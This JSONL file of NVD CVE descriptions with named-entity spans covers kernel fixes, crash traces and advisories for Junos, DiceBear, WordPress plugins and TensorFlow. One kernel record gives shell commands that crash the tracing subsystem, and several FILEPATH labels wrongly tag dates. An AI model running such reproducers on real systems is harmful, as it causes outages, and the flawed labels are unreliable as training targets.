{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\next4: fix potential null deref in ext4_mb_init()\n\nIn ext4_mb_init(), ext4_mb_avg_fragment_size_destroy() may be called\nwhen sbi->s_mb_avg_fragment_size remains uninitialized (e.g., if groupinfo\nslab cache allocation fails). Since ext4_mb_avg_fragment_size_destroy()\nlacks null pointer checking, this leads to a null pointer dereference.\n\n==================================================================\nEXT4-fs: no memory for groupinfo slab cache\nBUG: kernel NULL pointer dereference, address: 0000000000000000\nPGD 0 P4D 0\nOops: Oops: 0002 [#1] SMP PTI\nCPU:2 UID: 0 PID: 87 Comm:mount Not tainted 6.17.0-rc2 #1134 PREEMPT(none)\nRIP: 0010:_raw_spin_lock_irqsave+0x1b/0x40\nCall Trace:\n <TASK>\n xa_destroy+0x61/0x130\n ext4_mb_init+0x483/0x540\n __ext4_fill_super+0x116d/0x17b0\n ext4_fill_super+0xd3/0x280\n get_tree_bdev_flags+0x132/0x1d0\n vfs_get_tree+0x29/0xd0\n do_new_mount+0x197/0x300\n __x64_sys_mount+0x116/0x150\n do_syscall_64+0x50/0x1c0\n entry_SYSCALL_64_after_hwframe+0x76/0x7e\n==================================================================\n\nTherefore, add necessary null check to ext4_mb_avg_fragment_size_destroy()\nto prevent this issue. The same fix is also applied to\next4_mb_largest_free_orders_destroy().", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: null pointer dereference": [[380, 404]], "VULNERABILITY: NULL pointer dereference": [[530, 554]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-40119"}}
{"text": "An always-incorrect control flow implementation in the implicit filter terms of Juniper Networks Junos OS and Junos OS Evolved on ACX5800, EX9200 Series, MX10000 Series, MX240, MX480, MX960 devices with affected Trio line cards allows an attacker to exploit an interdependency in the PFE UCODE microcode of the Trio chipset with various line cards to cause packets destined to the devices interfaces to cause a Denial of Service (DoS) condition by looping the packet with an unreachable exit condition ('Infinite Loop'). To break this loop once it begins one side of the affected LT interfaces will need to be disabled. Once disabled, the condition will clear and the disabled LT interface can be reenabled. Continued receipt and processing of these packets will create a sustained Denial of Service (DoS) condition. This issue only affects LT-LT interfaces. Any other interfaces are not affected by this issue. This issue affects the following cards: MPCE Type 3 3D MPC4E 3D 32XGE MPC4E 3D 2CGE+8XGE EX9200 32x10G SFP EX9200-2C-8XS FPC Type 5-3D FPC Type 5-LSR EX9200 4x40G QSFP An Indicator of Compromise (IoC) can be seen by examining the traffic of the LT-LT interfaces for excessive traffic using the following command: monitor interface traffic Before loop impact: Interface: lt-2/0/0, Enabled, Link is Up Encapsulation: Logical-tunnel, Speed: 100000mbps Traffic statistics: Current delta Input bytes: 3759900268942 (1456 bps) [0] <---------- LT interface utilization is low Output bytes: 3759900344309 (1456 bps) [0] <---------- LT interface utilization is low After loop impact: Interface: lt-2/0/0, Enabled, Link is Up Encapsulation: Logical-tunnel, Speed: 100000mbps Traffic statistics: Current delta Input bytes: 3765160313129 (2158268368 bps) [5260044187] <---------- LT interface utilization is very high Output bytes: 3765160399522 (2158266440 bps) [5260055213] <---------- LT interface utilization is very high This issue affects: Juniper Networks Junos OS on ACX5800, EX9200 Series, MX10000 Series, MX240, MX480, MX960. Versions 15.1F6, 16.1R1, and later versions prior to 16.1R7-S8; 17.1 versions prior to 17.1R2-S12; 17.2 versions prior to 17.2R3-S4; 17.3 versions prior to 17.3R3-S8; 17.4 versions prior to 17.4R2-S10, 17.4R3-S2; 18.1 versions prior to 18.1R3-S10; 18.2 versions prior to 18.2R2-S7, 18.2R3-S3; 18.3 versions prior to 18.3R1-S7, 18.3R3-S2; 18.4 versions prior to 18.4R1-S7, 18.4R2-S4, 18.4R3-S2; 19.1 versions prior to 19.1R1-S5, 19.1R2-S1, 19.1R3; 19.2 versions prior to 19.2R1-S4, 19.2R2; 19.3 versions prior to 19.3R2-S3, 19.3R3; 19.4 versions prior to 19.4R1-S1, 19.4R2. This issue does not affect the MX10001. This issue does not affect Juniper Networks Junos OS versions prior to 15.1F6, 16.1R1. Juniper Networks Junos OS Evolved on ACX5800, EX9200 Series, MX10000 Series, MX240, MX480, MX960 19.4 versions prior to 19.4R2-EVO. This issue does not affect the MX10001.", "spans": {"FILEPATH: /0/0": [[1286, 1290], [1602, 1606]], "ORGANIZATION: Juniper": [[80, 87], [1946, 1953], [2676, 2683], [2736, 2743]], "VULNERABILITY: Denial of Service": [[411, 428], [782, 799]], "VULNERABILITY: Infinite Loop": [[504, 517]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-0273"}}
{"text": "DiceBear is an avatar library for designers and developers. Starting in version 5.0.0 and prior to versions 5.4.4, 6.1.4, 7.1.4, 8.0.3, and 9.4.1, SVG attribute values derived from user-supplied options (`backgroundColor`, `fontFamily`, `textColor`) were not XML-escaped before interpolation into SVG output. This could allow Cross-Site Scripting (XSS) when applications pass untrusted input to `createAvatar()` and serve the resulting SVG inline or with `Content-Type: image/svg+xml`. Starting in versions 5.4.4, 6.1.4, 7.1.4, 8.0.3, and 9.4.1, all affected SVG attribute values are properly escaped using XML entity encoding. Users should upgrade to the listed patched versions. Some mitigating factors limit vulnerability. Applications that validate input against the library's JSON Schema before passing it to `createAvatar()` are not affected. The DiceBear CLI validates input via AJV and was not vulnerable. Exploitation requires that an application passes untrusted, unvalidated external input directly as option values.", "spans": {"VULNERABILITY: Cross-Site Scripting": [[326, 346]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-33311"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\naf_unix: Drop oob_skb ref before purging queue in GC.\n\nsyzbot reported another task hung in __unix_gc().  [0]\n\nThe current while loop assumes that all of the left candidates\nhave oob_skb and calling kfree_skb(oob_skb) releases the remaining\ncandidates.\n\nHowever, I missed a case that oob_skb has self-referencing fd and\nanother fd and the latter sk is placed before the former in the\ncandidate list.  Then, the while loop never proceeds, resulting\nthe task hung.\n\n__unix_gc() has the same loop just before purging the collected skb,\nso we can call kfree_skb(oob_skb) there and let __skb_queue_purge()\nrelease all inflight sockets.\n\n[0]:\nSending NMI from CPU 0 to CPUs 1:\nNMI backtrace for cpu 1\nCPU: 1 PID: 2784 Comm: kworker/u4:8 Not tainted 6.8.0-rc4-syzkaller-01028-g71b605d32017 #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 01/25/2024\nWorkqueue: events_unbound __unix_gc\nRIP: 0010:__sanitizer_cov_trace_pc+0x0/0x70 kernel/kcov.c:200\nCode: 89 fb e8 23 00 00 00 48 8b 3d 84 f5 1a 0c 48 89 de 5b e9 43 26 57 00 0f 1f 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 <f3> 0f 1e fa 48 8b 04 24 65 48 8b 0d 90 52 70 7e 65 8b 15 91 52 70\nRSP: 0018:ffffc9000a17fa78 EFLAGS: 00000287\nRAX: ffffffff8a0a6108 RBX: ffff88802b6c2640 RCX: ffff88802c0b3b80\nRDX: 0000000000000000 RSI: 0000000000000002 RDI: 0000000000000000\nRBP: ffffc9000a17fbf0 R08: ffffffff89383f1d R09: 1ffff1100ee5ff84\nR10: dffffc0000000000 R11: ffffed100ee5ff85 R12: 1ffff110056d84ee\nR13: ffffc9000a17fae0 R14: 0000000000000000 R15: ffffffff8f47b840\nFS:  0000000000000000(0000) GS:ffff8880b9500000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00007ffef5687ff8 CR3: 0000000029b34000 CR4: 00000000003506f0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n <NMI>\n </NMI>\n <TASK>\n __unix_gc+0xe69/0xf40 net/unix/garbage.c:343\n process_one_work kernel/workqueue.c:2633 [inline]\n process_scheduled_works+0x913/0x1420 kernel/workqueue.c:2706\n worker_thread+0xa5f/0x1000 kernel/workqueue.c:2787\n kthread+0x2ef/0x390 kernel/kthread.c:388\n ret_from_fork+0x4b/0x80 arch/x86/kernel/process.c:147\n ret_from_fork_asm+0x1b/0x30 arch/x86/entry/entry_64.S:242\n </TASK>", "spans": {"FILEPATH: /25/2024": [[936, 944]], "FILEPATH: /unix/garbage.c": [[2003, 2018]], "FILEPATH: /x86/kernel/process.c": [[2259, 2280]], "FILEPATH: /x86/entry/entry_64.S": [[2318, 2339]], "FILEPATH: kcov.c": [[1032, 1038]], "FILEPATH: workqueue.c": [[2048, 2059], [2119, 2130], [2171, 2182]], "FILEPATH: kthread.c": [[2216, 2225]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[870, 876], [877, 883], [899, 905], [927, 933]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-26750"}}
{"text": "Sixteen XforWooCommerce Add-On Plugins for WordPress are vulnerable to authorization bypass due to a missing capability check on the wp_ajax_svx_ajax_factory function in various versions listed below. This makes it possible for authenticated attackers, with subscriber-level permissions and above, to read, edit, or delete WordPress settings, plugin settings, and to arbitrarily list all users on a WordPress website. The plugins impacted are: Product Filter for WooCommerce < 8.2.0, Improved Product Options for WooCommerce < 5.3.0, Improved Sale Badges for WooCommerce < 4.4.0, Share, Print and PDF Products for WooCommerce < 2.8.0, Product Loops for WooCommerce < 1.7.0, XforWooCommerce < 1.7.0, Package Quantity Discount < 1.2.0, Price Commander for WooCommerce < 1.3.0, Comment and Review Spam Control for WooCommerce < 1.5.0, Add Product Tabs for WooCommerce < 1.5.0, Autopilot SEO for WooCommerce < 1.6.0, Floating Cart < 1.3.0, Live Search for WooCommerce < 2.1.0, Bulk Add to Cart for WooCommerce < 1.3.0, Live Product Editor for WooCommerce < 4.7.0, and Warranties and Returns for WooCommerce < 5.3.0.", "spans": {"SYSTEM: WordPress": [[43, 52], [323, 332], [399, 408]], "VULNERABILITY: authorization bypass": [[71, 91]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-4337"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: Remove RTNL dance for SIOCBRADDIF and SIOCBRDELIF.\n\nSIOCBRDELIF is passed to dev_ioctl() first and later forwarded to\nbr_ioctl_call(), which causes unnecessary RTNL dance and the splat\nbelow [0] under RTNL pressure.\n\nLet's say Thread A is trying to detach a device from a bridge and\nThread B is trying to remove the bridge.\n\nIn dev_ioctl(), Thread A bumps the bridge device's refcnt by\nnetdev_hold() and releases RTNL because the following br_ioctl_call()\nalso re-acquires RTNL.\n\nIn the race window, Thread B could acquire RTNL and try to remove\nthe bridge device.  Then, rtnl_unlock() by Thread B will release RTNL\nand wait for netdev_put() by Thread A.\n\nThread A, however, must hold RTNL after the unlock in dev_ifsioc(),\nwhich may take long under RTNL pressure, resulting in the splat by\nThread B.\n\n  Thread A (SIOCBRDELIF)           Thread B (SIOCBRDELBR)\n  ----------------------           ----------------------\n  sock_ioctl                       sock_ioctl\n  `- sock_do_ioctl                 `- br_ioctl_call\n     `- dev_ioctl                     `- br_ioctl_stub\n        |- rtnl_lock                     |\n        |- dev_ifsioc                    '\n        '  |- dev = __dev_get_by_name(...)\n           |- netdev_hold(dev, ...)      .\n       /   |- rtnl_unlock  ------.       |\n       |   |- br_ioctl_call       `--->  |- rtnl_lock\n  Race |   |  `- br_ioctl_stub           |- br_del_bridge\n  Window   |     |                       |  |- dev = __dev_get_by_name(...)\n       |   |     |  May take long        |  `- br_dev_delete(dev, ...)\n       |   |     |  under RTNL pressure  |     `- unregister_netdevice_queue(dev, ...)\n       |   |     |               |       `- rtnl_unlock\n       \\   |     |- rtnl_lock  <-'          `- netdev_run_todo\n           |     |- ...                        `- netdev_run_todo\n           |     `- rtnl_unlock                   |- __rtnl_unlock\n           |                                      |- netdev_wait_allrefs_any\n           |- netdev_put(dev, ...)  <----------------'\n                                                Wait refcnt decrement\n                                                and log splat below\n\nTo avoid blocking SIOCBRDELBR unnecessarily, let's not call\ndev_ioctl() for SIOCBRADDIF and SIOCBRDELIF.\n\nIn the dev_ioctl() path, we do the following:\n\n  1. Copy struct ifreq by get_user_ifreq in sock_do_ioctl()\n  2. Check CAP_NET_ADMIN in dev_ioctl()\n  3. Call dev_load() in dev_ioctl()\n  4. Fetch the master dev from ifr.ifr_name in dev_ifsioc()\n\n3. can be done by request_module() in br_ioctl_call(), so we move\n1., 2., and 4. to br_ioctl_stub().\n\nNote that 2. is also checked later in add_del_if(), but it's better\nperformed before RTNL.\n\nSIOCBRADDIF and SIOCBRDELIF have been processed in dev_ioctl() since\nthe pre-git era, and there seems to be no specific reason to process\nthem there.\n\n[0]:\nunregister_netdevice: waiting for wpan3 to become free. Usage count = 2\nref_tracker: wpan3@ffff8880662d8608 has 1/1 users at\n     __netdev_tracker_alloc include/linux/netdevice.h:4282 [inline]\n     netdev_hold include/linux/netdevice.h:4311 [inline]\n     dev_ifsioc+0xc6a/0x1160 net/core/dev_ioctl.c:624\n     dev_ioctl+0x255/0x10c0 net/core/dev_ioctl.c:826\n     sock_do_ioctl+0x1ca/0x260 net/socket.c:1213\n     sock_ioctl+0x23a/0x6c0 net/socket.c:1318\n     vfs_ioctl fs/ioctl.c:51 [inline]\n     __do_sys_ioctl fs/ioctl.c:906 [inline]\n     __se_sys_ioctl fs/ioctl.c:892 [inline]\n     __x64_sys_ioctl+0x1a4/0x210 fs/ioctl.c:892\n     do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n     do_syscall_64+0xcb/0x250 arch/x86/entry/common.c:83\n     entry_SYSCALL_64_after_hwframe+0x77/0x7f", "spans": {"FILEPATH: /linux/netdevice.h": [[3089, 3107], [3146, 3164]], "FILEPATH: /core/dev_ioctl.c": [[3211, 3228], [3264, 3281]], "FILEPATH: /x86/entry/common.c": [[3579, 3598], [3645, 3664]], "FILEPATH: socket.c": [[3321, 3329], [3367, 3375]], "FILEPATH: ioctl.c": [[3399, 3406], [3442, 3449], [3486, 3493], [3543, 3550]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-22111"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: stmmac: fix dma queue left shift overflow issue\n\nWhen queue number is > 4, left shift overflows due to 32 bits\ninteger variable. Mask calculation is wrong for MTL_RXQ_DMA_MAP1.\n\nIf CONFIG_UBSAN is enabled, kernel dumps below warning:\n[   10.363842] ==================================================================\n[   10.363882] UBSAN: shift-out-of-bounds in /build/linux-intel-iotg-5.15-8e6Tf4/\nlinux-intel-iotg-5.15-5.15.0/drivers/net/ethernet/stmicro/stmmac/dwmac4_core.c:224:12\n[   10.363929] shift exponent 40 is too large for 32-bit type 'unsigned int'\n[   10.363953] CPU: 1 PID: 599 Comm: NetworkManager Not tainted 5.15.0-1003-intel-iotg\n[   10.363956] Hardware name: ADLINK Technology Inc. LEC-EL/LEC-EL, BIOS 0.15.11 12/22/2021\n[   10.363958] Call Trace:\n[   10.363960]  <TASK>\n[   10.363963]  dump_stack_lvl+0x4a/0x5f\n[   10.363971]  dump_stack+0x10/0x12\n[   10.363974]  ubsan_epilogue+0x9/0x45\n[   10.363976]  __ubsan_handle_shift_out_of_bounds.cold+0x61/0x10e\n[   10.363979]  ? wake_up_klogd+0x4a/0x50\n[   10.363983]  ? vprintk_emit+0x8f/0x240\n[   10.363986]  dwmac4_map_mtl_dma.cold+0x42/0x91 [stmmac]\n[   10.364001]  stmmac_mtl_configuration+0x1ce/0x7a0 [stmmac]\n[   10.364009]  ? dwmac410_dma_init_channel+0x70/0x70 [stmmac]\n[   10.364020]  stmmac_hw_setup.cold+0xf/0xb14 [stmmac]\n[   10.364030]  ? page_pool_alloc_pages+0x4d/0x70\n[   10.364034]  ? stmmac_clear_tx_descriptors+0x6e/0xe0 [stmmac]\n[   10.364042]  stmmac_open+0x39e/0x920 [stmmac]\n[   10.364050]  __dev_open+0xf0/0x1a0\n[   10.364054]  __dev_change_flags+0x188/0x1f0\n[   10.364057]  dev_change_flags+0x26/0x60\n[   10.364059]  do_setlink+0x908/0xc40\n[   10.364062]  ? do_setlink+0xb10/0xc40\n[   10.364064]  ? __nla_validate_parse+0x4c/0x1a0\n[   10.364068]  __rtnl_newlink+0x597/0xa10\n[   10.364072]  ? __nla_reserve+0x41/0x50\n[   10.364074]  ? __kmalloc_node_track_caller+0x1d0/0x4d0\n[   10.364079]  ? pskb_expand_head+0x75/0x310\n[   10.364082]  ? nla_reserve_64bit+0x21/0x40\n[   10.364086]  ? skb_free_head+0x65/0x80\n[   10.364089]  ? security_sock_rcv_skb+0x2c/0x50\n[   10.364094]  ? __cond_resched+0x19/0x30\n[   10.364097]  ? kmem_cache_alloc_trace+0x15a/0x420\n[   10.364100]  rtnl_newlink+0x49/0x70\n\nThis change fixes MTL_RXQ_DMA_MAP1 mask issue and channel/queue\nmapping warning.\n\nBugLink: https://bugzilla.kernel.org/show_bug.cgi?id=216195", "spans": {"URL: https://bugzilla.kernel.org/show_bug.cgi?id=216195": [[2349, 2399]], "FILEPATH: /build/linux-intel-iotg-5.15-8e6Tf4": [[435, 470]], "FILEPATH: /drivers/net/ethernet/stmicro/stmmac/dwmac4_core.c": [[500, 550]], "FILEPATH: /22/2021": [[805, 813]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49592"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\npadata: fix UAF in padata_reorder\n\nA bug was found when run ltp test:\n\nBUG: KASAN: slab-use-after-free in padata_find_next+0x29/0x1a0\nRead of size 4 at addr ffff88bbfe003524 by task kworker/u113:2/3039206\n\nCPU: 0 PID: 3039206 Comm: kworker/u113:2 Kdump: loaded Not tainted 6.6.0+\nWorkqueue: pdecrypt_parallel padata_parallel_worker\nCall Trace:\n<TASK>\ndump_stack_lvl+0x32/0x50\nprint_address_description.constprop.0+0x6b/0x3d0\nprint_report+0xdd/0x2c0\nkasan_report+0xa5/0xd0\npadata_find_next+0x29/0x1a0\npadata_reorder+0x131/0x220\npadata_parallel_worker+0x3d/0xc0\nprocess_one_work+0x2ec/0x5a0\n\nIf 'mdelay(10)' is added before calling 'padata_find_next' in the\n'padata_reorder' function, this issue could be reproduced easily with\nltp test (pcrypt_aead01).\n\nThis can be explained as bellow:\n\npcrypt_aead_encrypt\n...\npadata_do_parallel\nrefcount_inc(&pd->refcnt); // add refcnt\n...\npadata_do_serial\npadata_reorder // pd\nwhile (1) {\npadata_find_next(pd, true); // using pd\nqueue_work_on\n...\npadata_serial_worker\t\t\t\tcrypto_del_alg\npadata_put_pd_cnt // sub refcnt\n\t\t\t\t\t\tpadata_free_shell\n\t\t\t\t\t\tpadata_put_pd(ps->pd);\n\t\t\t\t\t\t// pd is freed\n// loop again, but pd is freed\n// call padata_find_next, UAF\n}\n\nIn the padata_reorder function, when it loops in 'while', if the alg is\ndeleted, the refcnt may be decreased to 0 before entering\n'padata_find_next', which leads to UAF.\n\nAs mentioned in [1], do_serial is supposed to be called with BHs disabled\nand always happen under RCU protection, to address this issue, add\nsynchronize_rcu() in 'padata_free_shell' wait for all _do_serial calls\nto finish.\n\n[1] https://lore.kernel.org/all/20221028160401.cccypv4euxikusiq@parnassus.localdomain/\n[2] https://lore.kernel.org/linux-kernel/jfjz5d7zwbytztackem7ibzalm5lnxldi2eofeiczqmqs2m7o6@fq426cwnjtkm/", "spans": {"URL: https://lore.kernel.org/all/20221028160401.cccypv4euxikusiq@parnassus.localdomain/": [[1660, 1742]], "URL: https://lore.kernel.org/linux-kernel/jfjz5d7zwbytztackem7ibzalm5lnxldi2eofeiczqmqs2m7o6@fq426cwnjtkm/": [[1747, 1848]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[157, 171]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-21727"}}
{"text": "snd_ctl_elem_add in sound/core/control.c in the Linux kernel through 5.6.3 has a count=info->owner line, which later affects a private_size*count multiplication for unspecified \"interesting side effects.\" NOTE: kernel engineers dispute this finding, because it could be relevant only if new callers were added that were unfamiliar with the misuse of the info->owner field to represent data unrelated to the \"owner\" concept. The existing callers, SNDRV_CTL_IOCTL_ELEM_ADD and SNDRV_CTL_IOCTL_ELEM_REPLACE, have been designed to misuse the info->owner field in a safe way", "spans": {"FILEPATH: /core/control.c": [[25, 40]], "SYSTEM: Linux kernel": [[48, 60]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-11725"}}
{"text": "Nukegraphic CMS v3.1.2 contains a stored cross-site scripting (XSS) vulnerability in the user profile edit functionality at /ngc-cms/user-edit-profile.php. The application fails to properly sanitize user input in the name field before storing it in the database and rendering it across multiple CMS pages. An authenticated attacker with low privileges can inject malicious JavaScript payloads through the profile edit request, which are then executed site-wide whenever the affected user's name is displayed. This allows the attacker to execute arbitrary JavaScript in the context of other users' sessions, potentially leading to session hijacking, credential theft, or unauthorized actions performed on behalf of victims.", "spans": {"FILEPATH: /ngc-cms/user-edit-profile.php.": [[124, 155]], "VULNERABILITY: cross-site scripting": [[41, 61]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-1953"}}
{"text": "In Tensorflow before versions 1.15.4, 2.0.3, 2.1.2, 2.2.1 and 2.3.1, changing the TensorFlow's `SavedModel` protocol buffer and altering the name of required keys results in segfaults and data corruption while loading the model. This can cause a denial of service in products using `tensorflow-serving` or other inference-as-a-service installments. Fixed were added in commits f760f88b4267d981e13f4b302c437ae800445968 and fcfef195637c6e365577829c4d67681695956e7d (both going into TensorFlow 2.2.0 and 2.3.0 but not yet backported to earlier versions). However, this was not enough, as #41097 reports a different failure mode. The issue is patched in commit adf095206f25471e864a8e63a0f1caef53a0e3a6, and is released in TensorFlow versions 1.15.4, 2.0.3, 2.1.2, 2.2.1, or 2.3.1.", "spans": {"HASH: f760f88b4267d981e13f4b302c437ae800445968": [[377, 417]], "HASH: fcfef195637c6e365577829c4d67681695956e7d": [[422, 462]], "HASH: adf095206f25471e864a8e63a0f1caef53a0e3a6": [[657, 697]], "VULNERABILITY: denial of service": [[246, 263]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-15206"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ntracing: Fix bad hist from corrupting named_triggers list\n\nThe following commands causes a crash:\n\n ~# cd /sys/kernel/tracing/events/rcu/rcu_callback\n ~# echo 'hist:name=bad:keys=common_pid:onmax(bogus).save(common_pid)' > trigger\n bash: echo: write error: Invalid argument\n ~# echo 'hist:name=bad:keys=common_pid' > trigger\n\nBecause the following occurs:\n\nevent_trigger_write() {\n  trigger_process_regex() {\n    event_hist_trigger_parse() {\n\n      data = event_trigger_alloc(..);\n\n      event_trigger_register(.., data) {\n        cmd_ops->reg(.., data, ..) [hist_register_trigger()] {\n          data->ops->init() [event_hist_trigger_init()] {\n            save_named_trigger(name, data) {\n              list_add(&data->named_list, &named_triggers);\n            }\n          }\n        }\n      }\n\n      ret = create_actions(); (return -EINVAL)\n      if (ret)\n        goto out_unreg;\n[..]\n      ret = hist_trigger_enable(data, ...) {\n        list_add_tail_rcu(&data->list, &file->triggers); <<<---- SKIPPED!!! (this is important!)\n[..]\n out_unreg:\n      event_hist_unregister(.., data) {\n        cmd_ops->unreg(.., data, ..) [hist_unregister_trigger()] {\n          list_for_each_entry(iter, &file->triggers, list) {\n            if (!hist_trigger_match(data, iter, named_data, false))   <- never matches\n                continue;\n            [..]\n            test = iter;\n          }\n          if (test && test->ops->free) <<<-- test is NULL\n\n            test->ops->free(test) [event_hist_trigger_free()] {\n              [..]\n              if (data->name)\n                del_named_trigger(data) {\n                  list_del(&data->named_list);  <<<<-- NEVER gets removed!\n                }\n              }\n           }\n         }\n\n         [..]\n         kfree(data); <<<-- frees item but it is still on list\n\nThe next time a hist with name is registered, it causes an u-a-f bug and\nthe kernel can crash.\n\nMove the code around such that if event_trigger_register() succeeds, the\nnext thing called is hist_trigger_enable() which adds it to the list.\n\nA bunch of actions is called if get_named_trigger_data() returns false.\nBut that doesn't need to be called after event_trigger_register(), so it\ncan be moved up, allowing event_trigger_register() to be called just\nbefore hist_trigger_enable() keeping them together and allowing the\nfile->triggers to be properly populated.", "spans": {"FILEPATH: /sys/kernel/tracing/events/rcu/rcu_callback": [[175, 218]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-21899"}}
{"text": "Kanboard is project management software that focuses on the Kanban methodology. In affected versions sessions are still usable even though their lifetime has exceeded. Kanboard implements a cutom session handler (`app/Core/Session/SessionHandler.php`), to store the session data in a database. Therefore, when a `session_id` is given, kanboard queries the data from the `sessions` sql table. At this point, it does not correctly verify, if a given `session_id` has already exceeded its lifetime (`expires_at`).\nThus, a session which's lifetime is already `> time()`, is still queried from the database and hence a valid login. The implemented **SessionHandlerInterface::gc** function, that does remove invalid sessions, is called only **with a certain probability** (_Cleans up expired sessions. Called by `session_start()`, based on `session.gc_divisor`, `session.gc_probability` and `session.gc_maxlifetime` settings_) accordingly to the php documentation. In the official Kanboard docker image these values default to: session.gc_probability=1, session.gc_divisor=1000. Thus, an expired session is only terminated with probability 1/1000. This issue has been addressed in release 1.2.43 and all users are advised to upgrade. There are no known workarounds for this vulnerability.", "spans": {"FILEPATH: /Core/Session/SessionHandler.php": [[217, 249]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-55603"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\next4: fix WARNING in mb_find_extent\n\nSyzbot found the following issue:\n\nEXT4-fs: Warning: mounting with data=journal disables delayed allocation, dioread_nolock, O_DIRECT and fast_commit support!\nEXT4-fs (loop0): orphan cleanup on readonly fs\n------------[ cut here ]------------\nWARNING: CPU: 1 PID: 5067 at fs/ext4/mballoc.c:1869 mb_find_extent+0x8a1/0xe30\nModules linked in:\nCPU: 1 PID: 5067 Comm: syz-executor307 Not tainted 6.2.0-rc1-syzkaller #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 10/26/2022\nRIP: 0010:mb_find_extent+0x8a1/0xe30 fs/ext4/mballoc.c:1869\nRSP: 0018:ffffc90003c9e098 EFLAGS: 00010293\nRAX: ffffffff82405731 RBX: 0000000000000041 RCX: ffff8880783457c0\nRDX: 0000000000000000 RSI: 0000000000000041 RDI: 0000000000000040\nRBP: 0000000000000040 R08: ffffffff82405723 R09: ffffed10053c9402\nR10: ffffed10053c9402 R11: 1ffff110053c9401 R12: 0000000000000000\nR13: ffffc90003c9e538 R14: dffffc0000000000 R15: ffffc90003c9e2cc\nFS:  0000555556665300(0000) GS:ffff8880b9900000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 000056312f6796f8 CR3: 0000000022437000 CR4: 00000000003506e0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n <TASK>\n ext4_mb_complex_scan_group+0x353/0x1100 fs/ext4/mballoc.c:2307\n ext4_mb_regular_allocator+0x1533/0x3860 fs/ext4/mballoc.c:2735\n ext4_mb_new_blocks+0xddf/0x3db0 fs/ext4/mballoc.c:5605\n ext4_ext_map_blocks+0x1868/0x6880 fs/ext4/extents.c:4286\n ext4_map_blocks+0xa49/0x1cc0 fs/ext4/inode.c:651\n ext4_getblk+0x1b9/0x770 fs/ext4/inode.c:864\n ext4_bread+0x2a/0x170 fs/ext4/inode.c:920\n ext4_quota_write+0x225/0x570 fs/ext4/super.c:7105\n write_blk fs/quota/quota_tree.c:64 [inline]\n get_free_dqblk+0x34a/0x6d0 fs/quota/quota_tree.c:130\n do_insert_tree+0x26b/0x1aa0 fs/quota/quota_tree.c:340\n do_insert_tree+0x722/0x1aa0 fs/quota/quota_tree.c:375\n do_insert_tree+0x722/0x1aa0 fs/quota/quota_tree.c:375\n do_insert_tree+0x722/0x1aa0 fs/quota/quota_tree.c:375\n dq_insert_tree fs/quota/quota_tree.c:401 [inline]\n qtree_write_dquot+0x3b6/0x530 fs/quota/quota_tree.c:420\n v2_write_dquot+0x11b/0x190 fs/quota/quota_v2.c:358\n dquot_acquire+0x348/0x670 fs/quota/dquot.c:444\n ext4_acquire_dquot+0x2dc/0x400 fs/ext4/super.c:6740\n dqget+0x999/0xdc0 fs/quota/dquot.c:914\n __dquot_initialize+0x3d0/0xcf0 fs/quota/dquot.c:1492\n ext4_process_orphan+0x57/0x2d0 fs/ext4/orphan.c:329\n ext4_orphan_cleanup+0xb60/0x1340 fs/ext4/orphan.c:474\n __ext4_fill_super fs/ext4/super.c:5516 [inline]\n ext4_fill_super+0x81cd/0x8700 fs/ext4/super.c:5644\n get_tree_bdev+0x400/0x620 fs/super.c:1282\n vfs_get_tree+0x88/0x270 fs/super.c:1489\n do_new_mount+0x289/0xad0 fs/namespace.c:3145\n do_mount fs/namespace.c:3488 [inline]\n __do_sys_mount fs/namespace.c:3697 [inline]\n __se_sys_mount+0x2d3/0x3c0 fs/namespace.c:3674\n do_syscall_x64 arch/x86/entry/common.c:50 [inline]\n do_syscall_64+0x3d/0xb0 arch/x86/entry/common.c:80\n entry_SYSCALL_64_after_hwframe+0x63/0xcd\n\nAdd some debug information:\nmb_find_extent: mb_find_extent block=41, order=0 needed=64 next=0 ex=0/41/1@3735929054 64 64 7\nblock_bitmap: ff 3f 0c 00 fc 01 00 00 d2 3d 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff\n\nAcctually, blocks per group is 64, but block bitmap indicate at least has\n128 blocks. Now, ext4_validate_block_bitmap() didn't check invalid block's\nbitmap if set.\nTo resolve above issue, add check like fsck \"Padding at end of block bitmap is\nnot set\".", "spans": 